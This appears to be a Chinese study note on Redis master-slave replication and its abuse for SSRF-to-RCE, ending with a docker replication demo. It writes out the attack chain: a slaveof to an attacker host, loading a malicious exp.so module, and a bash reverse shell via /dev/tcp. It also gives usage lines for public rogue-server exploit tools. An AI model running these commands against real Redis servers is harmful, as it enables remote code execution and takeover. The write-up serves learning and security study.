<1> redis主从复制介绍:
首先来介绍一下什么是redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式
即,
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
作用:
- 数据冗余(热备份)
- 故障恢复(主节点出问题可以由从节点继续提供服务)
- 读写分离(主节点提供写服务,从节点提供读服务)
感觉像是 docker里的 容器挂载,同步文件内容那种
这也是redis从ssrf到rce的核心:
通过主从复制,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis
问题:
既然是异体机,跨主机就有可能数据存在各种问题
- 如果数据延迟,导致读写不一致.采用监控偏移量offset的思想,如果offset超出范围直接切换回主节点上
- 异步复制导致数据丢失的情况,要求主节点至少有n个从节点链接的时候才允许写入
- 从节点故障可以允许主节点配置高于从节点,依然可用
- 从节点断掉,主节点内存碎片率过高,redis提供debug reload的重启方式,在不影响主节点runid和offset情况下重启,同时避免消耗资源的全量复制
- 主节点宕机重启时,可以采用树状,将开销交给位于中间层的从节点,从而减轻主节点的消耗
<2> Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件: 现成恶意so文件
Redis模块是动态库,可以在启动时或使用
MODULE LOAD
命令加载到Redis中
config set dir /tmp/ //设置文件路径为/tmp/
config set dbfilename exp.so //设置数据库文件名为:exp.so
slaveof vpsip port //设置主redis地址为 vpsip,端口为 port
module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/ip/port 0>&1'
<3> redis主从复制ssrf->rce
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
主从复制从ssrf->rce原理:在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE
在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so, 从节点即会自动生成恶意exp.so,使得可以RCE
过程分为三个阶段:连接建立阶段\数据同步阶段\命令传播阶段
从节点执行slaveof命令后,复制过程开始,分为六个阶段:
- 保存主节点信息
- 主从建立socker链接
- 发送ping命令
- 权限验证
- 同步数据集
- 命令持续复制
(1) 利用 redis-rogue-server 工具
GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过
slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
使用方法:
python3 redis-rogue-server.py --rhost rhost --lhost lhost
(2) 利用 ssrf-rce 工具
GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE
可以看到该工具有一个
-a
选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server 工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
环境一直 不知道怎么搞这种存在漏洞的redis 没搭起来,就记录一下步骤吧
<4> 主从复制演示
#拉取最新版本redis镜像
docker pull redis:latest
docker run -it -d --name redis-test -p 4001:6379 redis
docker run -it -d --name redis2-test -p 4002:6379 redis
172.17.0.2
docker exec -it redis-test /bin/bash #进入容器
172.17.0.4
docker exec -it redis2-test /bin/bash #
#连接redis
redis-cli
主从复制演示:
redis-cli -h 172.17.0.2 redis-cli -h 172.17.0.4
info replication
查看参数信息
在master主机:set name "1vxyz"
slave: